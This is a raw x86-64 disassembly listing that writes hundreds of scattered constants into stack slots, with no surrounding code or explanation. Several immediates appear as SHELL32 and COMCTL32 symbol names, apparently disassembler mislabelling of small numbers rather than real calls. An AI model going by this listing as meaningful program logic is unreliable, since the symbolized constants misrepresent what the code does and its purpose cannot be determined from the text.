mov byte [rsp + 0x326], 0x5b
movabs rax, 0x708a563214c027
mov qword [rsp + 0xb608], rax
mov byte [rsp + 0x327], 0x75
mov byte [rsp + 0x328], 0x70
mov eax, 0x532
mov word [rsp + 0x1e84], ax
mov byte [rsp + 0x329], 0x37
mov dword [rsp + 0x6494], 0x1b09
mov dword [rsp + 0x6498], 0xcb88c33
mov eax, 0x34b
mov word [rsp + 0x1e88], ax
mov eax, 0x831
mov word [rsp + 0x1e8c], ax
mov eax, 0x1aa
mov word [rsp + 0x1e90], ax
mov eax, 0x154
mov word [rsp + 0x1e94], ax
movabs rax, 0x723a517a22dca2
mov qword [rsp + 0xb610], rax
mov byte [rsp + 0x32a], reloc.SHELL32.dll_ILCombine
mov byte [rsp + 0x32b], 0x8f
movabs rax, 0x7d99d48feedad2
mov qword [rsp + 0xb618], rax
mov byte [rsp + 0x32c], 0x24
mov byte [rsp + 0x32d], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x7454e7e6584c99
mov qword [rsp + 0xb620], rax
mov eax, 0x14e
mov word [rsp + 0x1e98], ax
movabs rax, 0x7a602825aeccc5
mov qword [rsp + 0xb628], rax
mov eax, 0x9e9
mov word [rsp + 0x1e9c], ax
mov dword [rsp + 0x649c], 0xd404
mov byte [rsp + 0x32e], 0x23
movabs rax, 0x79016bf1b87ca7
mov qword [rsp + 0xb630], rax
movabs rax, 0x7ec3341b304a1d
mov qword [rsp + 0xb638], rax
mov byte [rsp + 0x32f], 0x20
mov dword [rsp + 0x64a0], 0xf704
mov byte [rsp + 0x330], 6
mov eax, 0x61b
mov word [rsp + 0x1ea0], ax
mov dword [rsp + 0x64a4], 0xe5ff
mov eax, 0x585
mov word [rsp + 0x1ea4], ax
mov eax, 0x1ec
mov word [rsp + 0x1ea8], ax
mov byte [rsp + 0x331], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x332], 0xea
mov eax, 0xd50
mov word [rsp + 0x1eac], ax
movabs rax, 0x70461e8334b737
mov qword [rsp + 0xb640], rax
mov eax, 0x46d
mov word [rsp + 0x1eb0], ax
mov byte [rsp + 0x333], 0x31
mov byte [rsp + 0x334], 0xe5
mov dword [rsp + 0x64a8], 0x64b5
mov eax, 0xd5f
mov word [rsp + 0x1eb4], ax
movabs rax, 0x756c43d893d5c6
mov qword [rsp + 0xb648], rax
mov byte [rsp + 0x335], 0x62
mov eax, 0x4c1
mov word [rsp + 0x1eb8], ax
mov dword [rsp + 0x64ac], 0x5676
mov eax, 0x3b4
mov word [rsp + 0x1ebc], ax
mov eax, 0xc6f
mov word [rsp + 0x1ec0], ax
movabs rax, 0x73a2808a7a5a89
mov qword [rsp + 0xb650], rax
movabs rax, 0x75c78c388c5ffa
mov qword [rsp + 0xb658], rax
movabs rax, 0x7ed2684408a7ea
mov qword [rsp + 0xb660], rax
mov dword [rsp + 0x64b0], 0x2040
mov eax, 0x8c6
mov word [rsp + 0x1ec4], ax
mov eax, 0x5a5
mov word [rsp + 0x1ec8], ax
mov dword [rsp + 0x64b4], 0xeab
movabs rax, 0x73b383e0da3d79
mov qword [rsp + 0xb668], rax
mov eax, 0x4f0
mov word [rsp + 0x1ecc], ax
mov dword [rsp + 0x64b8], 0x2cc4acd5
mov eax, 0x7f6
mov word [rsp + 0x1ed0], ax
mov dword [rsp + 0x64bc], 0xf5b4
movabs rax, 0x78e9cd1ed8f199
mov qword [rsp + 0xb670], rax
movabs rax, 0x77360ac2a1a6e6
mov qword [rsp + 0xb678], rax
mov byte [rsp + 0x336], 4
mov byte [rsp + 0x337], 0x67
mov dword [rsp + 0x64c0], 0x146e064c
mov eax, 0x50b
mov word [rsp + 0x1ed4], ax
mov dword [rsp + 0x64c4], 0x1bb918d2
movabs rax, 0x739c0d7b03a2d5
mov qword [rsp + 0xb680], rax
mov byte [rsp + 0x338], 0x27
mov byte [rsp + 0x339], ILGetNext
mov eax, 0xdc3
mov word [rsp + 0x1ed8], ax
mov dword [rsp + 0x64c8], 0x4d4c8fff
mov dword [rsp + 0x64cc], 0x7bc836a2
mov dword [rsp + 0x64d0], 0xcae0
mov eax, 0x399
mov word [rsp + 0x1edc], ax
movabs rax, 0x7376d59c5c45e4
mov qword [rsp + 0xb688], rax
movabs rax, 0x726f14e53aa93b
mov qword [rsp + 0xb690], rax
mov eax, 0xa8
mov word [rsp + 0x1ee0], ax
movabs rax, 0x7d3a4e9cd1d082
mov qword [rsp + 0xb698], rax
mov byte [rsp + 0x33a], SHDoDragDrop
mov eax, 0x4e
mov word [rsp + 0x1ee4], ax
movabs rax, 0x7e64db7ea81f9b
mov qword [rsp + 0xb6a0], rax
mov dword [rsp + 0x64d4], 0x5c4afd73
mov byte [rsp + 0x33b], SHDoDragDrop
mov dword [rsp + 0x64d8], 0x1f65d9ce
mov dword [rsp + 0x64dc], 0xfa5e
mov dword [rsp + 0x64e0], 0x4fbff342
movabs rax, 0x7e7bb12bfeafd2
mov qword [rsp + 0xb6a8], rax
mov dword [rsp + 0x64e4], 0xfd29
movabs rax, 0x75a5838a14e021
mov qword [rsp + 0xb6b0], rax
mov eax, 0xe21
mov word [rsp + 0x1ee8], ax
mov dword [rsp + 0x64e8], 0x549987a
mov eax, 0x639
mov word [rsp + 0x1eec], ax
mov byte [rsp + 0x33c], 0x1e
movabs rax, 0x7b984323c29d12
mov qword [rsp + 0xb6b8], rax
movabs rax, 0x715aa8fe4855f6
mov qword [rsp + 0xb6c0], rax
mov dword [rsp + 0x64ec], 0x124595a0
mov byte [rsp + 0x33d], 0x3a
movabs rax, 0x77efa5cae49191
mov qword [rsp + 0xb6c8], rax
movabs rax, 0x745b960fc3426c
mov qword [rsp + 0xb6d0], rax
mov byte [rsp + 0x33e], 0xeb
mov byte [rsp + 0x33f], 0x79
mov byte [rsp + 0x340], 0x9e
movabs rax, 0x75950e3a0a0343
mov qword [rsp + 0xb6d8], rax
mov eax, 0xbf5
mov word [rsp + 0x1ef0], ax
mov eax, 0x143
mov word [rsp + 0x1ef4], ax
mov byte [rsp + 0x341], 0x61
mov eax, 0x612
mov word [rsp + 0x1ef8], ax
mov eax, 0x996
mov word [rsp + 0x1efc], ax
mov dword [rsp + 0x64f0], 0x73c9
mov byte [rsp + 0x342], 0x23
movabs rax, 0x79cdf5226f01a8
mov qword [rsp + 0xb6e0], rax
mov byte [rsp + 0x343], 4
mov eax, 0x1b5
mov word [rsp + 0x1f00], ax
mov byte [rsp + 0x344], 0x3c
mov dword [rsp + 0x64f4], 0x491b
mov eax, 0x77d
mov word [rsp + 0x1f04], ax
mov eax, 0x4d9
mov word [rsp + 0x1f08], ax
mov dword [rsp + 0x64f8], 0xf78a
movabs rax, 0x70fe56c4aaa30b
mov qword [rsp + 0xb6e8], rax
mov byte [rsp + 0x345], 0x5e
movabs rax, 0x77d36ad68e2ad8
mov qword [rsp + 0xb6f0], rax
movabs rax, 0x7b7249f1fa0d22
mov qword [rsp + 0xb6f8], rax
mov eax, 0xabe
mov word [rsp + 0x1f0c], ax
mov eax, 0xc4e
mov word [rsp + 0x1f10], ax
mov dword [rsp + 0x64fc], 0xcbcb
mov dword [rsp + 0x6500], 0x23c1
mov eax, 0x553
mov word [rsp + 0x1f14], ax
mov eax, 0x1de
mov word [rsp + 0x1f18], ax
mov eax, 0x767
mov word [rsp + 0x1f1c], ax
mov byte [rsp + 0x346], reloc.SHELL32.dll_SHDoDragDrop
mov byte [rsp + 0x347], 0x60
mov dword [rsp + 0x6504], 0xf0f3
movabs rax, 0x7191cb8d6c8ee1
mov qword [rsp + 0xb700], rax
movabs rax, 0x79127887dc45ff
mov qword [rsp + 0xb708], rax
mov byte [rsp + 0x348], 0x76
mov dword [rsp + 0x6508], 0x4a32
mov byte [rsp + 0x349], 0x6e
mov eax, 0x57f
mov word [rsp + 0x1f20], ax
movabs rax, 0x747b795f132818
mov qword [rsp + 0xb710], rax
mov eax, 0x550
mov word [rsp + 0x1f24], ax
mov dword [rsp + 0x650c], 0xd985
movabs rax, 0x782c41f9101ed4
mov qword [rsp + 0xb718], rax
mov dword [rsp + 0x6510], 0x45f2
movabs rax, 0x7787ef5eaf96f8
mov qword [rsp + 0xb720], rax
movabs rax, 0x7940e5acebe2a8
mov qword [rsp + 0xb728], rax
movabs rax, 0x78ab22fe3c6ca7
mov qword [rsp + 0xb730], rax
mov dword [rsp + 0x6514], 0x2cd7
mov eax, 0x2f2
mov word [rsp + 0x1f28], ax
movabs rax, 0x7e62b7e26e8e56
mov qword [rsp + 0xb738], rax
mov eax, 0xf1f
mov word [rsp + 0x1f2c], ax
movabs rax, 0x7e4d6ada7e1f09
mov qword [rsp + 0xb740], rax
mov eax, 0xfe
mov word [rsp + 0x1f30], ax
mov byte [rsp + 0x34a], 0x4c
movabs rax, 0x7d0dc52b907843
mov qword [rsp + 0xb748], rax
mov byte [rsp + 0x34b], 0x64
mov dword [rsp + 0x6518], 0x46be3c61
mov byte [rsp + 0x34c], 0x78
movabs rax, 0x72479092e4ed17
mov qword [rsp + 0xb750], rax
mov dword [rsp + 0x651c], 0x56e5
mov eax, 0x7cc
mov word [rsp + 0x1f34], ax
mov eax, 0x2b3
mov word [rsp + 0x1f38], ax
movabs rax, 0x74b87dcb7bfb4b
mov qword [rsp + 0xb758], rax
mov dword [rsp + 0x6520], 0x744fa727
mov eax, 0xbb0
mov word [rsp + 0x1f3c], ax
mov eax, 0xc28
mov word [rsp + 0x1f40], ax
movabs rax, 0x7b386bbbbfea33
mov qword [rsp + 0xb760], rax
movabs rax, 0x72439731db005d
mov qword [rsp + 0xb768], rax
mov dword [rsp + 0x6524], 0x6ca0e46e
movabs rax, 0x792c912b835766
mov qword [rsp + 0xb770], rax
mov eax, 0xf84
mov word [rsp + 0x1f44], ax
movabs rax, 0x735175bea68e4a
mov qword [rsp + 0xb778], rax
mov eax, 0xb89
mov word [rsp + 0x1f48], ax
mov eax, 0x6dd
mov word [rsp + 0x1f4c], ax
mov dword [rsp + 0x6528], 0x9dbc
mov eax, 0xb16
mov word [rsp + 0x1f50], ax
movabs rax, 0x7afbf4c0908636
mov qword [rsp + 0xb780], rax
mov eax, 0x471
mov word [rsp + 0x1f54], ax
mov byte [rsp + 0x34d], 0x62
mov eax, 0x56b
mov word [rsp + 0x1f58], ax
movabs rax, 0x768a8d6467e9dc
mov qword [rsp + 0xb788], rax
mov eax, 0xb25
mov word [rsp + 0x1f5c], ax
movabs rax, 0x79e97b35c79fe5
mov qword [rsp + 0xb790], rax
movabs rax, 0x7523eda3f10f79
mov qword [rsp + 0xb798], rax
mov eax, 0x416
mov word [rsp + 0x1f60], ax
movabs rax, 0x7ec74e43b04386
mov qword [rsp + 0xb7a0], rax
mov dword [rsp + 0x652c], 0x35c2c66f
mov eax, 0x299
mov word [rsp + 0x1f64], ax
mov dword [rsp + 0x6530], 0x37ce
mov eax, 0x387
mov word [rsp + 0x1f68], ax
mov eax, 0x129
mov word [rsp + 0x1f6c], ax
movabs rax, 0x72965262578d35
mov qword [rsp + 0xb7a8], rax
movabs rax, 0x7455f95fde0baa
mov qword [rsp + 0xb7b0], rax
mov eax, 0x9b6
mov word [rsp + 0x1f70], ax
movabs rax, 0x76f001c3f56ec6
mov qword [rsp + 0xb7b8], rax
movabs rax, 0x737cadcc4189f0
mov qword [rsp + 0xb7c0], rax
mov eax, 0x259
mov word [rsp + 0x1f74], ax
mov dword [rsp + 0x6534], 0x8c54
mov eax, 0x2b6
mov word [rsp + 0x1f78], ax
movabs rax, 0x77abd8ad74a446
mov qword [rsp + 0xb7c8], rax
movabs rax, 0x7bc3e87434a2f8
mov qword [rsp + 0xb7d0], rax
mov eax, 0x5e4
mov word [rsp + 0x1f7c], ax
mov eax, 0x2a2
mov word [rsp + 0x1f80], ax
mov eax, 0x183
mov word [rsp + 0x1f84], ax
mov dword [rsp + 0x6538], 0x505
mov eax, 0x52b
mov word [rsp + 0x1f88], ax
mov eax, 0x710
mov word [rsp + 0x1f8c], ax
mov byte [rsp + 0x34e], 0x74
mov dword [rsp + 0x653c], 0x12a2
mov dword [rsp + 0x6540], 0x1a92f901
mov eax, 0x298
mov word [rsp + 0x1f90], ax
mov dword [rsp + 0x6544], 0x32c24f8b
mov eax, 0xd28
mov word [rsp + 0x1f94], ax
mov dword [rsp + 0x6548], 0xae62
mov byte [rsp + 0x34f], 0
movabs rax, 0x78c4b64cad1a00
mov qword [rsp + 0xb7d8], rax
movabs rax, 0x7d57beb0dbd319
mov qword [rsp + 0xb7e0], rax
mov eax, 0xeb6
mov word [rsp + 0x1f98], ax
mov eax, 0x54f
mov word [rsp + 0x1f9c], ax
movabs rax, 0x7c026adf3e0300
mov qword [rsp + 0xb7e8], rax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0x1fa0], ax
movabs rax, 0x72d5dc24b2e7ae
mov qword [rsp + 0xb7f0], rax
mov eax, 0x607
mov word [rsp + 0x1fa4], ax
mov eax, 0x6f8
mov word [rsp + 0x1fa8], ax
mov eax, 0x6dd
mov word [rsp + 0x1fac], ax
movabs rax, 0x73205b50fd65c8
mov qword [rsp + 0xb7f8], rax
mov eax, 0x615
mov word [rsp + 0x1fb0], ax
mov dword [rsp + 0x654c], 0x4b60
mov eax, 0xe64
mov word [rsp + 0x1fb4], ax
mov byte [rsp + 0x350], SHSetInstanceExplorer
mov eax, 0x641
mov word [rsp + 0x1fb8], ax
mov eax, 0x66a
mov word [rsp + 0x1fbc], ax
mov eax, 0x3f1
mov word [rsp + 0x1fc0], ax
mov eax, 0xd41
mov word [rsp + 0x1fc4], ax
mov eax, 0x12f
mov word [rsp + 0x1fc8], ax
movabs rax, 0x7dc80fc7cb57b6
mov qword [rsp + 0xb800], rax
movabs rax, 0x7c8a1148e8be35
mov qword [rsp + 0xb808], rax
movabs rax, 0x72d4d050465d60
mov qword [rsp + 0xb810], rax
mov eax, 0x67f
mov word [rsp + 0x1fcc], ax
movabs rax, 0x778a4ddde38d00
mov qword [rsp + 0xb818], rax
mov byte [rsp + 0x351], SHSetInstanceExplorer
movabs rax, 0x7e44353423140c
mov qword [rsp + 0xb820], rax
movabs rax, 0x7c1d596c047fab
mov qword [rsp + 0xb828], rax
mov dword [rsp + 0x6550], 0x1dd1
mov eax, 0x300
mov word [rsp + 0x1fd0], ax
mov byte [rsp + 0x352], 0xd2
mov eax, SetWindowSubclass
mov word [rsp + 0x1fd4], ax
mov eax, 0x1f2
mov word [rsp + 0x1fd8], ax
movabs rax, 0x7c418319f7e1f2
mov qword [rsp + 0xb830], rax
mov byte [rsp + 0x353], 0x6c
movabs rax, 0x794cbcbedc779b
mov qword [rsp + 0xb838], rax
mov dword [rsp + 0x6554], 0xc4c
mov eax, 0x214
mov word [rsp + 0x1fdc], ax
mov dword [rsp + 0x6558], 0x979f
mov byte [rsp + 0x354], SHTestTokenMembership
movabs rax, 0x7670edf9d49adb
mov qword [rsp + 0xb840], rax
mov eax, 0x3b7
mov word [rsp + 0x1fe0], ax
mov byte [rsp + 0x355], 0xd4
movabs rax, 0x769c40c4ffd612
mov qword [rsp + 0xb848], rax
mov eax, 0xecf
mov word [rsp + 0x1fe4], ax
movabs rax, 0x739a3068fc433c
mov qword [rsp + 0xb850], rax
movabs rax, 0x7d90b01fede4e5
mov qword [rsp + 0xb858], rax
mov byte [rsp + 0x356], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x655c], 0x5c7
movabs rax, 0x78b2ab6619b27d
mov qword [rsp + 0xb860], rax
mov dword [rsp + 0x6560], 0xbae9
mov byte [rsp + 0x357], 0x6b
mov eax, 0x771
mov word [rsp + 0x1fe8], ax
movabs rax, 0x76dc380fa13889
mov qword [rsp + 0xb868], rax
mov eax, 0xdb9
mov word [rsp + 0x1fec], ax
mov eax, 0x17f
mov word [rsp + 0x1ff0], ax
mov dword [rsp + 0x6564], 0x7121a1b8
mov dword [rsp + 0x6568], 0xed59
mov byte [rsp + 0x358], 0x3d
mov dword [rsp + 0x656c], 0xe62
mov eax, 0x4e9
mov word [rsp + 0x1ff4], ax
mov dword [rsp + 0x6570], 0xf39e
movabs rax, 0x771051a8cfdfc9
mov qword [rsp + 0xb870], rax
mov eax, 0xd88
mov word [rsp + 0x1ff8], ax
movabs rax, 0x7044f06c9acc0d
mov qword [rsp + 0xb878], rax
mov dword [rsp + 0x6574], 0xa9a5463
mov dword [rsp + 0x6578], 0xc458
mov eax, 0xb61
mov word [rsp + 0x1ffc], ax
movabs rax, 0x7ca635b7705841
mov qword [rsp + 0xb880], rax
mov dword [rsp + 0x657c], 0x2efb8b35
mov dword [rsp + 0x6580], 0xbe8f
mov byte [rsp + 0x359], PathYetAnotherMakeUniqueName
movabs rax, 0x70768f9d47280b
mov qword [rsp + 0xb888], rax
mov eax, 0xaae
mov word [rsp + 0x2000], ax
movabs rax, 0x741481c9250c0f
mov qword [rsp + 0xb890], rax
mov eax, 0xffe
mov word [rsp + 0x2004], ax
mov byte [rsp + 0x35a], 0x8d
movabs rax, 0x7a4ffd5fdf9e97
mov qword [rsp + 0xb898], rax
movabs rax, 0x729dcb8a2907d2
mov qword [rsp + 0xb8a0], rax
mov eax, 0x201
mov word [rsp + 0x2008], ax
mov dword [rsp + 0x6584], 0xe38d
mov eax, 0x418
mov word [rsp + 0x200c], ax
movabs rax, 0x708b80ef9a365e
mov qword [rsp + 0xb8a8], rax
mov eax, 0x6f4
mov word [rsp + 0x2010], ax
mov byte [rsp + 0x35b], 0x7e
mov dword [rsp + 0x6588], 0x3dc3
movabs rax, 0x7d5825c2d78803
mov qword [rsp + 0xb8b0], rax
mov eax, 0x405
mov word [rsp + 0x2014], ax
mov eax, 0xa9
mov word [rsp + 0x2018], ax
mov eax, 0x3b9
mov word [rsp + 0x201c], ax
mov dword [rsp + 0x658c], 0x85ec
mov eax, 0xe38
mov word [rsp + 0x2020], ax
mov eax, 0x32a
mov word [rsp + 0x2024], ax
mov eax, 0x6b3
mov word [rsp + 0x2028], ax
movabs rax, 0x79737c21ae4b68
mov qword [rsp + 0xb8b8], rax
mov dword [rsp + 0x6590], 0x5543
mov dword [rsp + 0x6594], 0x4993
mov byte [rsp + 0x35c], reloc.SHELL32.dll_ILCloneFirst
movabs rax, 0x7242c78dfa9925
mov qword [rsp + 0xb8c0], rax
mov eax, 0x5d1
mov word [rsp + 0x202c], ax
mov dword [rsp + 0x6598], 0x25a617cc
mov dword [rsp + 0x659c], 0x2263
movabs rax, 0x78d11024487cb9
mov qword [rsp + 0xb8c8], rax
movabs rax, 0x7cf1a4c25ab96f
mov qword [rsp + 0xb8d0], rax
movabs rax, 0x79cb72bffe053e
mov qword [rsp + 0xb8d8], rax
mov byte [rsp + 0x35d], 0x66
movabs rax, 0x73f1e1ac1a4931
mov qword [rsp + 0xb8e0], rax
mov eax, 0x293
mov word [rsp + 0x2030], ax
mov byte [rsp + 0x35e], 0x5b
movabs rax, 0x74d2694939be60
mov qword [rsp + 0xb8e8], rax
movabs rax, 0x776650c7cb0367
mov qword [rsp + 0xb8f0], rax
mov dword [rsp + 0x65a0], 0x6bdd8e76
mov byte [rsp + 0x35f], 0x3c
mov byte [rsp + 0x360], 0x3f
mov dword [rsp + 0x65a4], 0x520b
mov eax, 0x7f6
mov word [rsp + 0x2034], ax
mov byte [rsp + 0x361], PathMakeUniqueName
mov eax, 0x81
mov word [rsp + 0x2038], ax
mov dword [rsp + 0x65a8], 0x884f
mov byte [rsp + 0x362], reloc.SHELL32.dll_ILFindChild
movabs rax, 0x7a28134a010eba
mov qword [rsp + 0xb8f8], rax
mov eax, 0x685
mov word [rsp + 0x203c], ax
mov eax, 0x16c
mov word [rsp + 0x2040], ax
movabs rax, 0x7688308f997c04
mov qword [rsp + 0xb900], rax
mov dword [rsp + 0x65ac], 0xaed8
mov eax, 0xe41
mov word [rsp + 0x2044], ax
movabs rax, 0x7d6002680d4d84
mov qword [rsp + 0xb908], rax
mov eax, 0x469
mov word [rsp + 0x2048], ax
mov eax, 0xde
mov word [rsp + 0x204c], ax
mov eax, 0x3db
mov word [rsp + 0x2050], ax
movabs rax, 0x7a8422359b7e6d
mov qword [rsp + 0xb910], rax
mov dword [rsp + 0x65b0], 0x5cb624f1
mov byte [rsp + 0x363], SHDoDragDrop
mov eax, 0x79d
mov word [rsp + 0x2054], ax
movabs rax, 0x7a0c92f83eff66
mov qword [rsp + 0xb918], rax
mov byte [rsp + 0x364], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x365], LBItemFromPt
mov eax, 0x57b
mov word [rsp + 0x2058], ax
mov byte [rsp + 0x366], 0x5c
mov byte [rsp + 0x367], 0xdf
mov eax, 0x1de
mov word [rsp + 0x205c], ax
mov byte [rsp + 0x368], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x369], 0x1e
movabs rax, 0x7bf331402b5ac6
mov qword [rsp + 0xb920], rax
mov eax, 0x65a
mov word [rsp + 0x2060], ax
mov byte [rsp + 0x36a], 0xea
mov dword [rsp + 0x65b4], 0x3a8afb17
mov dword [rsp + 0x65b8], 0x5f700f22
mov eax, 0x15b
mov word [rsp + 0x2064], ax
movabs rax, 0x7c869c1df475ef
mov qword [rsp + 0xb928], rax
mov eax, 0x741
mov word [rsp + 0x2068], ax
movabs rax, 0x736636ea1cf31b
mov qword [rsp + 0xb930], rax
mov dword [rsp + 0x65bc], 0xd8ef
mov eax, 0x314
mov word [rsp + 0x206c], ax
mov eax, 0x77a
mov word [rsp + 0x2070], ax
mov dword [rsp + 0x65c0], 0xbfba
mov eax, 0xb42
mov word [rsp + 0x2074], ax
movabs rax, 0x7647ce22993bba
mov qword [rsp + 0xb938], rax
movabs rax, 0x7d008467dc97d0
mov qword [rsp + 0xb940], rax
mov byte [rsp + 0x36b], 0x78
mov eax, 0x22
mov word [rsp + 0x2078], ax
mov dword [rsp + 0x65c4], 0xf94e
mov eax, 0x609
mov word [rsp + 0x207c], ax
movabs rax, 0x7a6ee6286af9d6
mov qword [rsp + 0xb948], rax
mov eax, 0xad2
mov word [rsp + 0x2080], ax
movabs rax, 0x7996d171cf17fd
mov qword [rsp + 0xb950], rax
mov dword [rsp + 0x65c8], 0x23fd
movabs rax, 0x7ee68ba8292940
mov qword [rsp + 0xb958], rax
mov byte [rsp + 0x36c], reloc.SHELL32.dll_ILFindLastID
mov byte [rsp + 0x36d], 0x42
mov eax, 0xcb0
mov word [rsp + 0x2084], ax
mov eax, 0x504
mov word [rsp + 0x2088], ax
mov byte [rsp + 0x36e], 0x87
mov eax, reloc.SHELL32.dll_ILGetNext
mov word [rsp + 0x208c], ax
movabs rax, 0x7a2f6ca291e844
mov qword [rsp + 0xb960], rax
movabs rax, 0x7b2e0ea6fce49e
mov qword [rsp + 0xb968], rax
movabs rax, 0x708587206e1ca7
mov qword [rsp + 0xb970], rax
mov byte [rsp + 0x36f], 0x50
mov eax, 0x30b
mov word [rsp + 0x2090], ax
mov eax, 0x275
mov word [rsp + 0x2094], ax
movabs rax, 0x7c65e42422d6ff
mov qword [rsp + 0xb978], rax
movabs rax, 0x7b8893a8ce4cc4
mov qword [rsp + 0xb980], rax
movabs rax, 0x780f7294a58f49
mov qword [rsp + 0xb988], rax
movabs rax, 0x78f3dc5e8f04dc
mov qword [rsp + 0xb990], rax
mov eax, 0x4a0
mov word [rsp + 0x2098], ax
movabs rax, 0x7c766e60d9f58f
mov qword [rsp + 0xb998], rax
movabs rax, 0x76c5350cfeacce
mov qword [rsp + 0xb9a0], rax
movabs rax, 0x7b9f0b4667bdef
mov qword [rsp + 0xb9a8], rax
mov eax, 0x5a2
mov word [rsp + 0x209c], ax
movabs rax, 0x728dd80f51a7c0
mov qword [rsp + 0xb9b0], rax
movabs rax, 0x7ea688c6595037
mov qword [rsp + 0xb9b8], rax
movabs rax, 0x7b670e4f90a28b
mov qword [rsp + 0xb9c0], rax
mov eax, 0x47f
mov word [rsp + 0x20a0], ax
mov dword [rsp + 0x65cc], 0xad0f
movabs rax, 0x76722c3809642a
mov qword [rsp + 0xb9c8], rax
mov eax, 0x3d2
mov word [rsp + 0x20a4], ax
movabs rax, 0x7377f67df8cb98
mov qword [rsp + 0xb9d0], rax
mov eax, 0x16b
mov word [rsp + 0x20a8], ax
movabs rax, 0x7bf1175fa6a660
mov qword [rsp + 0xb9d8], rax
mov byte [rsp + 0x370], 0x59
movabs rax, 0x7804991ec910f7
mov qword [rsp + 0xb9e0], rax
movabs rax, 0x7a95d5d225f224
mov qword [rsp + 0xb9e8], rax
mov eax, 0x5a3
mov word [rsp + 0x20ac], ax
movabs rax, 0x726637d96bb85a
mov qword [rsp + 0xb9f0], rax
mov byte [rsp + 0x371], 0x6d
mov byte [rsp + 0x372], PathMakeUniqueName
movabs rax, 0x79fb9b19cb8779
mov qword [rsp + 0xb9f8], rax
movabs rax, 0x7605ee898331d1
mov qword [rsp + 0xba00], rax
mov eax, 0x9f0
mov word [rsp + 0x20b0], ax
mov eax, 0xc30
mov word [rsp + 0x20b4], ax
mov eax, 0x6eb
mov word [rsp + 0x20b8], ax
mov byte [rsp + 0x373], 0xe7
mov dword [rsp + 0x65d0], 0xc8ca156
mov byte [rsp + 0x374], 0x25
mov eax, 0x398
mov word [rsp + 0x20bc], ax
movabs rax, 0x791e4c2b3afe29
mov qword [rsp + 0xba08], rax
movabs rax, 0x7577eeb29b0418
mov qword [rsp + 0xba10], rax
mov dword [rsp + 0x65d4], 0x75511463
movabs rax, 0x72765526b9939f
mov qword [rsp + 0xba18], rax
movabs rax, 0x74aa39626ba8d8
mov qword [rsp + 0xba20], rax
mov byte [rsp + 0x375], reloc.SHELL32.dll_ILClone
movabs rax, 0x704110c200ed25
mov qword [rsp + 0xba28], rax
mov dword [rsp + 0x65d8], 0x63f94ac3
movabs rax, 0x702435278a67b3
mov qword [rsp + 0xba30], rax
mov byte [rsp + 0x376], reloc.SHELL32.dll_ILRemoveLastID
mov byte [rsp + 0x377], 0x38
mov byte [rsp + 0x378], 0x62
mov eax, SHDoDragDrop
mov word [rsp + 0x20c0], ax
mov eax, 0x665
mov word [rsp + 0x20c4], ax
mov byte [rsp + 0x379], PathMakeUniqueName
mov dword [rsp + 0x65dc], 0x3688
mov eax, 0x3f8
mov word [rsp + 0x20c8], ax
movabs rax, 0x7d80f090f572fa
mov qword [rsp + 0xba38], rax
mov dword [rsp + 0x65e0], 0x596e
mov dword [rsp + 0x65e4], 0x496
mov byte [rsp + 0x37a], 0x61
movabs rax, 0x7bbb80ddfb21df
mov qword [rsp + 0xba40], rax
movabs rax, 0x766306031f9b37
mov qword [rsp + 0xba48], rax
mov eax, 0x37d
mov word [rsp + 0x20cc], ax
mov byte [rsp + 0x37b], LBItemFromPt
movabs rax, 0x7512648ec47c55
mov qword [rsp + 0xba50], rax
mov byte [rsp + 0x37c], 0x61
movabs rax, 0x78b82a4ccc944f
mov qword [rsp + 0xba58], rax
movabs rax, 0x761fd0f6e05efc
mov qword [rsp + 0xba60], rax
movabs rax, 0x71401087cce1f5
mov qword [rsp + 0xba68], rax
movabs rax, 0x7884c1169af624
mov qword [rsp + 0xba70], rax
mov eax, 0xf0a
mov word [rsp + 0x20d0], ax
mov dword [rsp + 0x65e8], 0x2728
mov eax, 0x7d5
mov word [rsp + 0x20d4], ax
mov dword [rsp + 0x65ec], 0xdfb0
mov byte [rsp + 0x37d], 0x27
mov byte [rsp + 0x37e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x37f], 0x6f
mov byte [rsp + 0x380], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x7e287cfdc4b102
mov qword [rsp + 0xba78], rax
movabs rax, 0x7eefa27d9714fd
mov qword [rsp + 0xba80], rax
mov byte [rsp + 0x381], PathYetAnotherMakeUniqueName
mov eax, 0x3e1
mov word [rsp + 0x20d8], ax
mov byte [rsp + 0x382], 0x4c
mov eax, 0x722
mov word [rsp + 0x20dc], ax
mov eax, 0xe5e
mov word [rsp + 0x20e0], ax
mov byte [rsp + 0x383], reloc.SHELL32.dll_SHDoDragDrop
mov eax, 0x4ed
mov word [rsp + 0x20e4], ax
mov dword [rsp + 0x65f0], 0x7137
mov byte [rsp + 0x384], 0x3a
movabs rax, 0x7b879e338b3c99
mov qword [rsp + 0xba88], rax
movabs rax, 0x730872a71b4a9a
mov qword [rsp + 0xba90], rax
mov dword [rsp + 0x65f4], 0x142985a6
mov dword [rsp + 0x65f8], 0xd5cd
mov eax, 0x32f
mov word [rsp + 0x20e8], ax
mov byte [rsp + 0x385], 8
movabs rax, 0x73cb997a6e01ac
mov qword [rsp + 0xba98], rax
mov eax, 0x20d
mov word [rsp + 0x20ec], ax
movabs rax, 0x77029ccea043e1
mov qword [rsp + 0xbaa0], rax
movabs rax, 0x7dbc8305387a39
mov qword [rsp + 0xbaa8], rax
mov eax, 0xb63
mov word [rsp + 0x20f0], ax
mov eax, 0x4e4
mov word [rsp + 0x20f4], ax
mov eax, 0x331
mov word [rsp + 0x20f8], ax
mov byte [rsp + 0x386], PathMakeUniqueName
mov eax, 0x5ce
mov word [rsp + 0x20fc], ax
movabs rax, 0x73cb19dfce53b1
mov qword [rsp + 0xbab0], rax
movabs rax, 0x7b923ec12f4a04
mov qword [rsp + 0xbab8], rax
mov byte [rsp + 0x387], PathYetAnotherMakeUniqueName
mov eax, 0xf4d
mov word [rsp + 0x2100], ax
movabs rax, 0x7861077c2d41ca
mov qword [rsp + 0xbac0], rax
mov eax, 0xc25
mov word [rsp + 0x2104], ax
mov eax, 0x709
mov word [rsp + 0x2108], ax
movabs rax, 0x7c88422d5fc36f
mov qword [rsp + 0xbac8], rax
mov dword [rsp + 0x65fc], 0xc668
movabs rax, 0x7387c7f1e896ff
mov qword [rsp + 0xbad0], rax
mov eax, 0x4a5
mov word [rsp + 0x210c], ax
